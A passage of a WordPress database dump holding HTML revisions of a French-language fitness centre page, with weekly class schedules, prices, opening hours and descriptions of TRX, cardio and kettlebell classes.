(196, 1, '2013-07-03 17:40:57', '2013-07-03 17:40:57', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 41%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:40:57', '2013-07-03 17:40:57', '', 11, 'http://www.crosstrainingcenter.be/?p=196', 0, 'revision', '', 0);
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(197, 1, '2013-07-03 17:41:14', '2013-07-03 17:41:14', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 43%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:41:14', '2013-07-03 17:41:14', '', 11, 'http://www.crosstrainingcenter.be/?p=197', 0, 'revision', '', 0),
(199, 1, '2013-07-03 17:49:28', '2013-07-03 17:49:28', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td 